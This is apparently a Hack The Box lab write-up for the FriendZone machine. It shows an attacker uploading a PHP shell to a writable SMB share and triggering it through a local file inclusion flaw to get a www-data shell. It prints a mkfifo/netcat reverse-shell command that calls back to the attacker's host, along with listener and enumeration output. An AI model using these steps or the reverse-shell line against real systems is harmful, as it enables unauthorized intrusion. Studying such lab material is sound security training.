File Upload - LFI - RCE
During the enumeration phase, I discovered that I have both read/write access to the //FRIENDZONE/Development
share while I only the read access was granted to the //FRIENDZONE/general
share, which contain a credential to a login page at the web root of the following subdomain;administrator1.friendzone.red
Then I discovered that the dashboard.php
file located at the administrator1.friendzone.red
subdomain has a LFI vulnerability to the pagename
parameter. The pagename
parameter already had a pre-configured .PHP
suffix to it.
While I never managed to load a system-wide file such as /etc/passwd
, through the pagename
parameter due to the said suffix, I realized that the additional Nmap scan I performed to map the SMB shares came into my mind.
The //FRIENDZONE/Development
share, which I had both read/write access to, is mapped to the /etc/Development
directory of the target system. Knowing this allows me to exploit the LFI vulnerability.
I will be uploading a malicious PHP file to the SMB share and have code execution through the discovered LFI on the web server
File Upload
┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ smbclient //FRIENDZONE/Development
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php (33.3 kb/s) (average 33.3 kb/s)
Uploading the payload to the //FRIENDZONE/Development
SMB share, which is mapped to the /etc/Development
directory of the target system
LFI to RCE
Triggering the payload via LFI
I don’t need to supply the extension (.php) as it is already configured as a suffix to the
pagename
parameter
┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.123] 38204
whoami
www-data
hostname
FriendZone
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.123 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:7023 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:7023 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:70:23 txqueuelen 1000 (Ethernet)
RX packets 16168814 bytes 2121242572 (2.1 GB)
RX errors 0 dropped 42 overruns 0 frame 0
TX packets 11135643 bytes 4480112403 (4.4 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 106865 bytes 6775989 (6.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 106865 bytes 6775989 (6.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established as www-data
to the target system via exploiting LFI
Migration
It didn’t take long enough for me to realize that the connection kept getting lost. There must be a background job. I will migrate to a better shell session.
mkfifo /tmp/hzvp; nc 10.10.14.11 9998 0</tmp/hzvp | /bin/sh >/tmp/hzvp 2>&1; rm /tmp/hzvp
Another reverse shell command
┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ nnc 9998
listening on [any] 9998 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.123] 38550
whoami
www-data
hostname
FriendZone
ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.123 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:7023 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:7023 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:70:23 txqueuelen 1000 (Ethernet)
RX packets 16168934 bytes 2121255676 (2.1 GB)
RX errors 0 dropped 42 overruns 0 frame 0
TX packets 11135707 bytes 4480121911 (4.4 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 107349 bytes 6805029 (6.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 107349 bytes 6805029 (6.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Done. All good.